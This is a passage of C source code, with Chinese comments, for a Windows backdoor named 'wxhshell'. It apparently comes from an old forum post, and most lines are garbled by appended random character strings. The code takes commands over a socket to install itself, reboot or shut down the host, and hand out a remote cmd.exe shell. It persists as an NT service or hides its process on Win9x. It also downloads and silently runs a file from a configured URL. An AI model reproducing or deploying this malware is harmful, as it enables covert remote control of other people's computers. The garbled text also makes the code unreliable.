  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sa8O<Ab  
  } ATkd#k%S  
  else { 9Rk(q4.OP  
uJ2ZHrJ  
    switch(cmd[0]) { CC=I|/mBM  
  zls^JTE  
  // 帮助 pX_  
  case '?': { Dd1k?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <~dfp  
    break; QG*hQh  
  } aA4RC0'  
  // 安装 iAH,f5T  
  case 'i': { t5E$u(&+'B  
    if(Install()) :XY%@n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Fb@E0 }!  
    else |X=p`iz1&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d+Fq=<  
    break; QKP #wR  
    } {Z/iYHv~#c  
  // 卸载 N 8[r WJ#  
  case 'r': { qR.FjQOvn  
    if(Uninstall()) \r IOnZ.WK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+'f[!^  
    else KRxJ2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (LK@w9)i;  
    break; 7;p/S#P:  
    } Ze%S<xT!O  
  // 显示 wxhshell 所在路径 K ar!  
  case 'p': { p1'q{E+o*  
    char svExeFile[MAX_PATH]; vT#R>0@mi  
    strcpy(svExeFile,"\n\r"); q%G[tXw  
      strcat(svExeFile,ExeFile); B5 /8LEWw  
        send(wsh,svExeFile,strlen(svExeFile),0); C+/EPPi  
    break; Y!j/,FU  
    } ^!B]V>L-  
  // 重启 ,u|>%@h  
  case 'b': { V<WWtu;3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p|gVIsg[-e  
    if(Boot(REBOOT)) C1{Q 4(K%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "S#$:92  
    else { |vd|; " `  
    closesocket(wsh); \Yj_U'2"i  
    ExitThread(0); <p<6!tdO  
    } #om Gj&  
    break; M%:\ry4:  
    } >q;| dn9  
  // 关机 uB+#<F/c  
  case 'd': { GOxP{d?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }uMu8)Q  
    if(Boot(SHUTDOWN)) eY` z\I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )F hbN@3  
    else { $E[O}+L$#  
    closesocket(wsh); O_ r-(wE4  
    ExitThread(0); d1#lC*.Sg  
    } :Jyr^0`J  
    break; cl`kd)"v  
    } F lVG,Z  
  // 获取shell fUvXb>f,  
  case 's': { n=b!c@f4  
    CmdShell(wsh); Z<|x6%  
    closesocket(wsh); N#-%b"(  
    ExitThread(0); yUcU-pQ  
    break; 4%}iKoT   
  } G-D}J2r=F  
  // 退出 Ox ,Rk  
  case 'x': { .&5 3sJ0{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R1hmJ  
    CloseIt(wsh); A]iT uu5p  
    break; kK6t|Yn&  
    } ,MHK|8!  
  // 离开 1WaQWZ:=  
  case 'q': { dgQ<>+9]6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E @r &K  
    closesocket(wsh); 6a9:P@tY  
    WSACleanup(); M`7lYw\Or!  
    exit(1); "$5cKbJ  
    break; DCa=o  
        } 7&etnQJ{  
  } fvta<  
  } 2 .Xx)(>  
zBca$Vp  
  // 提示信息 \*5z0A9)5)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S^1ZsD.  
} Z!q$d/1  
  } .,VLQ btg  
`E;xI v|  
  return; `+."X1  
} Q-iBK*-w  
I<W<;A  
// shell模块句柄 kN*I_#  
int CmdShell(SOCKET sock) tw 3zw`o:  
{ owa&HW/_  
STARTUPINFO si; sOz {spA  
ZeroMemory(&si,sizeof(si)); 0WZd$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ^[I> #U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yz>S($u  
PROCESS_INFORMATION ProcessInfo; 1.,KN:qe  
char cmdline[]="cmd"; t\:=|t,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;fQIaE&H  
  return 0; "\lO Op^-  
} *k&V;?x|wt  
6[FXgCb  
// 自身启动模式 Lf.Ia *R:  
int StartFromService(void) {qSMJja!t  
{ s{c|J#s  
typedef struct %IIFLlD  
{ .LM|@OeaD!  
  DWORD ExitStatus; Rm_+kp@\  
  DWORD PebBaseAddress; > B;YYj~f}  
  DWORD AffinityMask; lwG)&qyVd  
  DWORD BasePriority; rw 2i_,.*~  
  ULONG UniqueProcessId; B}zBbB  
  ULONG InheritedFromUniqueProcessId; ;*Mr(#R  
}   PROCESS_BASIC_INFORMATION; !gsrPM  
^!O!HMX0  
PROCNTQSIP NtQueryInformationProcess; wKpD++k  
6 %`h2Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xqDz*V/mD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =(R3-['QIb  
%"#ydOy  
  HANDLE             hProcess; r0OP !u  
  PROCESS_BASIC_INFORMATION pbi; 4"nYxL"<4  
.|P :n'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S%?%06$  
  if(NULL == hInst ) return 0; Wj)v,v2&  
>`yRL[c;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [k%u$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SEWdhthP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k:mW ,s|a  
=pj3G?F#  
  if (!NtQueryInformationProcess) return 0; zII^Ny8D  
rNm_w>bq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L6jwJwD  
  if(!hProcess) return 0; 2H] 7=j  
F U L'=Xo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^P.U_2&  
".pQM.T  
  CloseHandle(hProcess); 1(i%nX<U  
_K!)0p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fG8^|:  
if(hProcess==NULL) return 0; Ss+  
Vvv;m5.  
HMODULE hMod; Ofb&W AD  
char procName[255]; ,t*H: *  
unsigned long cbNeeded; 9B>P Qbs  
}Q^*Zq9-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "2tKh!?Q  
cUw$F{|W  
  CloseHandle(hProcess); )RWY("SUy1  
?oV|.LM:W  
if(strstr(procName,"services")) return 1; // 以服务启动 R9K~b^`  
Y!y pG-  
  return 0; // 注册表启动 2PNe~9)*#  
} {g4w[F!77  
ZBQ@S  
// 主模块 1bDXv, nD  
int StartWxhshell(LPSTR lpCmdLine) #*S.26P^4  
{ (BK_A {5  
  SOCKET wsl; .WBp!*4  
BOOL val=TRUE; v@fy*T\3  
  int port=0; Aeq^s  
  struct sockaddr_in door; (b1e!gJpy  
n0V^/j}  
  if(wscfg.ws_autoins) Install(); @L 6)RF  
tHM0]Gb}  
port=atoi(lpCmdLine); OeZ"WO  
<a+ @4d;  
if(port<=0) port=wscfg.ws_port; B <G,{k  
w)R5@ @C*  
  WSADATA data; s._,IW;   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j(>xP*il  
ZP0D)@8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +KTHZpp!c2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]1[:fQF7/L  
  door.sin_family = AF_INET; .E7"Lfs-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); alsD TQ'  
  door.sin_port = htons(port); \IqCC h  
<<Z, 1{3F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nYBa+>3BDf  
closesocket(wsl); g<$2#c}  
return 1; I;UT; /E2  
} Q^xk]~G$(  
}Q6o#oZ  
  if(listen(wsl,2) == INVALID_SOCKET) { "kVzN22  
closesocket(wsl); [e{W:7uFV  
return 1; ZhC ,nbM  
} )tS;gn  
  Wxhshell(wsl); R`Hy0;X  
  WSACleanup();  BJg  
mO8/eVws[M  
return 0; /*M3Ns1@2  
aej'cbO  
} yGV>22vv M  
gr@Ril^  
// 以NT服务方式启动 I;G(Wj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tCw B 7 c-  
{ 7y.iXe!P  
DWORD   status = 0; /wP2Wnq$  
  DWORD   specificError = 0xfffffff; =u.23#.  
Nz; \PS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8NJT:6Q7l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $(*>]PC+)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qN Ut&#  
  serviceStatus.dwWin32ExitCode     = 0; @a 7U0$,O#  
  serviceStatus.dwServiceSpecificExitCode = 0; Y|tK19  
  serviceStatus.dwCheckPoint       = 0; 5;HCNwX  
  serviceStatus.dwWaitHint       = 0; {&6i$4T  
pEW~zl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NQvI=R-g  
  if (hServiceStatusHandle==0) return; 9E[==2TO  
!?|xeQ}  
status = GetLastError(); m4'jTC$  
  if (status!=NO_ERROR) hp2$[p6O  
{ h b8L[ 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y3PrLBTz  
    serviceStatus.dwCheckPoint       = 0; {9^p3Q+:P  
    serviceStatus.dwWaitHint       = 0; q)AX*T+  
    serviceStatus.dwWin32ExitCode     = status; 0y+i?y 9  
    serviceStatus.dwServiceSpecificExitCode = specificError; A<(DYd1H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ea-U+7JC  
    return; Qam48XZ >  
  } H4sc7-  
1<*U:W $g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H(y Gh  
  serviceStatus.dwCheckPoint       = 0; Tb8r+~HK  
  serviceStatus.dwWaitHint       = 0; ojA!!Ru  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 64>CfU(  
} #5{BxX&\  
MpIiHKQ G9  
// 处理NT服务事件,比如:启动、停止 lXzm)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !aL=R)G&e  
{ ~CdW: t  
switch(fdwControl) d9%P[(yM^  
{ j9vK~_?;  
case SERVICE_CONTROL_STOP: |f.,fVVV;  
  serviceStatus.dwWin32ExitCode = 0;  Q7tvpU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6GqC]rd*:  
  serviceStatus.dwCheckPoint   = 0; /{ W6]6^  
  serviceStatus.dwWaitHint     = 0; TNK1E  
  { #l7v|)9v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B<a` o&?  
  } eg1F[~YL/  
  return; ,(f W0d#  
case SERVICE_CONTROL_PAUSE: Ed2A\S6tl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uv^x  
  break; HIC!:|  
case SERVICE_CONTROL_CONTINUE: |k,-]c;6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )+w1nw|m  
  break; Bvh{|tP4  
case SERVICE_CONTROL_INTERROGATE: 1i'y0]f  
  break; 1uB$@a\  
}; k,f/9e+#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nr,Z0  
} |{_>H '  
$J&c1  
// 标准应用程序主函数 hhFO,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >7S@3,C3ke  
{ ]0j_yX  
!]RSG^%s{  
// 获取操作系统版本 ~P;A 9A(k  
OsIsNt=GetOsVer(); xtLP 4VL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x;Slv(|M  
<^_crJONom  
  // 从命令行安装 0r8Wv,7Bo  
  if(strpbrk(lpCmdLine,"iI")) Install(); @2 *Q*  
=)gdxywoC  
  // 下载执行文件 ;oDr8a<A  
if(wscfg.ws_downexe) { %qTIT?6'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6<R[hIWpZ}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5NH4C  
} 4-Jwy  
K>b4(^lf  
if(!OsIsNt) { G#^0Bh&  
// 如果时win9x,隐藏进程并且设置为注册表启动 kRBO]  
HideProc(); =;b3i1'U  
StartWxhshell(lpCmdLine); qd#7A ksm  
} 3JkdPh  
else a/1;|1a.  
  if(StartFromService()) 5Dz$_2oM3  
  // 以服务方式启动 9cU9'r# h  
  StartServiceCtrlDispatcher(DispatchTable); x{tlC}t  
else \<09.q<8  
  // 普通方式启动 `Pc<0*`a  
  StartWxhshell(lpCmdLine); !6@'H4cb=  
-5ZmIlL.S  
return 0; L[,19 ;(  
}
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只看该作者 1 发表于: 2006-10-10
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